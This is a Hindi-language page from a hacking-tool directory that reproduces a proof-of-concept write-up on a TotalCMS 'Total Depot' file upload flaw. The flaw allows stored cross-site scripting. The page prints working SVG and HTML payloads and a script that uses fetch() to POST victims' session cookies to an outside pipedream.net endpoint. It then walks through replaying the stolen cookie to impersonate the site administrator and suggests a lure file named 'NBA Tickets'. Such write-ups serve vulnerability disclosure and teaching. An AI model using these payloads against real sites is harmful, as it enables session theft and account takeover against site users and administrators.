Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
TotalCMS-Arbitrary_File-Upload--XSS_Steal_Cookies---TotalDepot — TotalCMS मनमानी फ़ाइल अपलोड - XSS भेद्यता से प्रभावित है, जो संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) और सत्र कुकीज़ चुराने की अनुमति देती है। | Kitploit
उपकरण/GitHubGitHub/sromanhu/totalcms-arbitrary_file-upload--xss_steal_cookies---totaldepot
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनलर्निंग और शिक्षा
GitHubsromanhu/totalcms-arbitrary_file-upload--xss_steal_cookies---totaldepot

TotalCMS-Arbitrary_File-Upload--XSS_Steal_Cookies---TotalDepot

TotalCMS मनमानी फ़ाइल अपलोड - XSS भेद्यता से प्रभावित है, जो संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) और सत्र कुकीज़ चुराने की अनुमति देती है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
143 साल पहलेअभी तक समीक्षित नहीं
साझा करें

TotalCMS आर्बिट्ररी फ़ाइल अपलोड - XSS और कुकीज़ चुराना

लेखक: (Sergio)

विवरण: TotalCMS आर्बिट्ररी फ़ाइल अपलोड - XSS भेद्यता से प्रभावित है, जो क्रॉस-साइट स्क्रिप्टिंग (XSS) और सत्र कुकीज़ चुराने की अनुमति देती है।

आक्रमण वैक्टर: "Total Depot" फ़ाइल अपलोड सैनिटाइज़ेशन में एक भेद्यता आपको छिपे हुए अलर्ट क्रॉस-साइट स्क्रिप्टिंग (XSS) के साथ PDF / SVG / HTML फ़ाइल अपलोड करने और उपयोगकर्ता की कुकीज़ चुराने की अनुमति देती है।


मैं 2 PoC करने जा रहा हूँ:

- POC 1: क्रॉस-साइट स्क्रिप्टिंग (XSS) PDF / SVG और HTML फ़ाइलें

- POC 2: उपयोगकर्ता कुकीज़ की चोरी और उन्हें रोकने तथा उपयोगकर्ता का रूप धारण करने के लिए बाहरी सर्वर पर अग्रेषित करना।

हम पहले PoC से शुरू करते हैं:

POC 1: क्रॉस-साइट स्क्रिप्टिंग (XSS) PDF / SVG और HTML फ़ाइलें

जब हम एडमिन पैनल (https://www.totalcms.co/demo/total-cms/admin/) में लॉग इन करते हैं, तो हम एडमिनिस्ट्रेशन साइट के "Total Depot" में जाएंगे और छिपे हुए XSS के साथ PDF/ SVG/ और HTML फ़ाइलें अपलोड करेंगे।

पेलोड्स ये हैं:

XSS PDF पेलोड:

यह JS2PDFInjector टूल से जनरेट किया गया एक XSS पेलोड है और एक js पेलोड है जिसमें निम्नलिखित सामग्री होती है:

app.alert("XSS");

SVG पेलोड:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>

HTML पेलोड:

<html>
	<script>
		alert(document.cookie);
	</script>
</html>

image

image

अपलोड होने के बाद, यदि हम लिंक पर क्लिक करते हैं तो हम देख सकते हैं कि वे किस पथ पर संग्रहीत हैं:

image

फ़ाइलों का पथ:

image

image

image

और यह तीनों प्रकार की फ़ाइलों की क्रॉस-साइट स्क्रिप्टिंग (XSS) और उपयोगकर्ता की कुकीज़ के साथ परिणाम है:

image

image

image

हम दूसरे PoC के साथ जारी रखते हैं:

- POC 2: उपयोगकर्ता कुकीज़ की चोरी और उन्हें रोकने तथा उपयोगकर्ता का रूप धारण करने के लिए बाहरी सर्वर पर अग्रेषित करना।

हम यह दिखावा करने जा रहे हैं कि हम एक साइबर अपराधी हैं और हम उपयोगकर्ता के सत्र कुकीज़ चुराने जा रहे हैं और उन्हें सर्वर पर भेजा जाएगा।

इस मामले में मैंने एक फ़ाइल को PoC के रूप में अपलोड किया है, लेकिन वास्तविक मामले में, हम एक दिलचस्प नाम "NBA Tickets" वाली फ़ाइल अपलोड कर सकते हैं और उसे प्रकाशित कर सकते हैं, ताकि पीड़ित उपयोगकर्ता फ़ाइल निष्पादित करते समय बिना इसका अहसास हुए मुझे कुकीज़ भेज दे।


सबसे पहले, हम यह देखने के लिए एक परीक्षण करते हैं कि क्या हमारे पास किसी बाहरी सर्वर के साथ संचार है।

पेलोड यह है:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"        
height="200"        
zoomAndPan="disable"        
xmlns="http://www.w3.org/2000/svg"        
xmlns:xlink="http://www.w3.org/1999/xlink"        
xml:space="preserve">
<!-- Script linked from the outside-->     
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />     
<script>       
//<![CDATA[         
alert("XSS");       
]]>     
</script>   
</svg>

image

image

जैसा कि हम pipedream Request में देखते हैं, हमने सही ढंग से अनुरोध प्राप्त कर लिया है।


हम कुकीज़ चुराने और उन्हें pipedream Request पर भेजने के लिए पेलोड को संशोधित करते हैं, ताकि हम उपयोगकर्ता का रूप धारण कर सकें।

पेलोड यह है:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"        
height="200"        
zoomAndPan="disable"        
xmlns="http://www.w3.org/2000/svg"        
xmlns:xlink="http://www.w3.org/1999/xlink"        
xml:space="preserve">
<!-- Script linked from the outside-->     
<script>
  fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
  });
</script>   
</svg>

हम इसे निष्पादित करते हैं:


image

image

जैसा कि हम छवि में देखते हैं, हमने उपयोगकर्ता के सत्र कुकीज़ सही ढंग से प्राप्त कर ली हैं।


अब हम उपयोगकर्ता का रूप धारण करने जा रहे हैं। इसका परीक्षण करने के लिए, हम दूसरे ब्राउज़र में TotalCMS/admin के लिए एक सत्र खोलते हैं और "Cookie Editor" ऐड-ऑन खोलते हैं।

image

हम सत्र कुकी को पाइपस्ट्रीम में प्राप्त कुकी में संशोधित करते हैं और सहेजते हैं।

image

हमने वेबसाइट को पुनः लोड किया और हमने एडमिनिस्ट्रेटर उपयोगकर्ता का रूप धारण कर लिया है।

image


अतिरिक्त जानकारी:

https://www.totalcms.co/

https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

टूल डाउनलोड करें